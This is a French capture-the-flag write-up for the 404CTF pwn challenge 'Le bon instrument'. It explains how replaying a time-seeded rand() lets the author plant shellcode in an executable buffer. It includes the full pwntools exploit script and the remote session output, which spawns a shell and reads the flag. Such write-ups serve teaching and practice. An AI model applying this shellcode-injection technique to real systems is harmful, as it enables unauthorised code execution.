Challenge Le bon instrument
https://ctf.404ctf.fr/challenges#Le%20bon%20instrument-230
La cible propose une interaction avec 4 objets virtuels :
- une horloge, qui appelle
srand() - une imprimante, qui permet un buffer overflow sur la pile
- une boussole, qui donne un leak compliqué à base d’aléatoire
- une fourchette, qui permet d’exécuter le code contenu dans sa description (!)
Je pense que c’était un challenge anti IA car il y avait pas mal de fausses pistes :
- une fonction
clock()appelée souvent qui appellesrand() - un buffer overflow dans
printer_effet(il y a un canary) - un leak compliqué dans
boussole(il faudrait bruteforcer l’adresse en mémoire en jouant avec lesrand()) - des objets qui sont parfois des allocations, parfois non
- une routine
destroy()suspecte qui sent l’use after free - …
Bref, pour passer derrière les écrans de fumée on va partir de la fin. On remarque que fork_effet() appelle comme code le contenu dans instrument->description quand instrument->uses <= 0. Les développeurs étant assez gentils pour rendre la page exécutable :
mprotect((void *)((long long)instruments[3]->description & 0xfffffffffffff000), 0x1000, PROT_EXEC | PROT_READ | PROT_WRITE);
On peut mettre à jour cette description, mais notre saisie est modifiée par des valeurs aléatoires. Le seed est basé sur le temps, défini juste avant. C’est trivial de rejouer les rand() et deviner les valeurs que le programme va utiliser. On peut donc y écrire ce que l’on veut en déjouant cette “protection”.
Pas besoin de leak, un vieux shellcode avec les arguments sur la pile suffit.
$ ./exploit.py REMOTE
[+] Opening connection to spawn.404ctf.fr on port 10307: Done
[*] Switching to interactive mode
Cette fourchette m'a l'air bien radioactive
Linux localhost 5.15.0-177-generic #187-Ubuntu SMP Sat Apr 11 22:54:33 UTC 2026 x86_64 GNU/Linux
404CTF{T1c----t4C-----bo0Om}
$
- mandragore, 2026/05/08
#!/usr/bin/env python3
from pwn import *
from ctypes import CDLL
import time
#sys.tracebacklimit = 0 # yeah I know it crashed
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
#context.terminal = ['lxterminal','--geometry=100x100','-e']
elf = ELF('./chall_patched', checksec=False)
if args.DBG:
context.log_level = 'debug'
else:
context.log_level = 'info'
if args.REMOTE:
p = remote('spawn.404ctf.fr', 10307)
else:
if args.GDB:
p = gdb.debug(elf.path,gdbscript='''
# break *printer_effet+0x49
# break *destroy
break *fork_effet+0x48
continue
''')
else:
p = process(elf.path)
p.recvuntil(b'Abandonner\n')
# reduce universe entropy
payload=asm(shellcraft.sh()).ljust(0x40,b'\x90')
assert len(payload)<=0x40,"payload is too long"
changeme=list(payload)
ctypes_libc = CDLL("libc.so.6")
ctypes_libc.srand(int(time.time()))
for i in range(len(changeme)):
r = ctypes_libc.rand() % 256
changeme[i] = (changeme[i] - r) % 256
payload=bytes(changeme)
p.sendline(b'3')
p.sendlineafter(b'description ?\n',b'4')
p.sendlineafter(b'mettre ?\n',payload)
p.recvuntil(b'Abandonner\n')
# use forks -= -= -=
p.sendline(b'1')
leak=p.recvuntil(b'Abandonner\n')
forkuse=int(leak.split(b'- 4 : \n')[1].split(b'\n')[2].split(b' : ')[1])
for i in range(forkuse):
p.sendline(b'2')
p.sendlineafter(b'utiliser ?\n',b'4')
p.recvuntil(b'Abandonner\n')
# fasten your seat belts
p.sendline(b'2')
p.sendlineafter(b'utiliser ?\n',b'4')
p.sendline(b'uname -a;cat flag.txt;echo')
p.interactive()